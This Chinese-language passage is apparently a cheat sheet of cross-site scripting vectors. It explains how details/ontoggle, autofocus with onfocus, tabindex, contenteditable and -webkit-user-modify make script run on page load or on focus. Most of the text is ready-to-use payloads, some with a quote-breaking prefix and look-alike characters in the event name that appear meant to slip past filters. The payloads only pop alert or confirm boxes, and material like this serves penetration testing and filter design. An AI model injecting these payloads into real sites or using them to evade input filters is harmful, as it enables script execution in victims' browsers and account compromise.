details 标签
details标签用于描述文档或文档某个部分的细节,目前只有 Chrome 支持 details标签
">'><details/open/οntοggle=confirm(1)>
autofocus属性
说明
autofocus 属性规定当页面加载时标签内元素应该自动获得焦点
onfocus 事件在对象获得焦点时发生
结合起来即可达到弹窗效果
在chrome中autofocus可以与所有HTML标签一起使用,可以利用autofocus属性进行自定义标签
<iframe autofocus onfocus=alert(1)>
<a autofocus onfocus=alert(23) href=#>x</a>
解释:autofocus在页面加载时自动获得焦点,而onfocus 事件在对象获得焦点时发生,所以会产生弹窗。
tabindex
tabIndex 属性可设置或返回单选按钮的 tab 键控制次序,也就是设置了该属性,可以用tab建来回切换标签
<xss tabindex=1 onfocus=alert(1) autofocus>
例如:
<a tabindex=1 onfocus=alert(1) autofocus>1
<a tabindex=2 onfocus=alert(2) autofocus>2
<a tabindex=3 onfocus=alert(3) autofocus>3
<a tabindex=3 onfocus=alert(4) autofocus>4
tab切换标签触发焦点从而弹窗
contenteditable
contenteditable 属性指定元素内容是否可编辑,当插入contenteditable后,标签页面将变得可以编辑,结合autofocus,聚焦时也可触发弹窗
<a onfocus=alert(1) autofocus contenteditable>111
user-modify
<x style="-webkit-user-modify:read-write-plaintext-only" onfocus=alert(1) autofocus>
<x style="-webkit-user-modify:read-write" onfocus=alert(1) autofocus>
<x style="-webkit-user-modify:read-write" onfocus=confirm() autofocus>
confirm()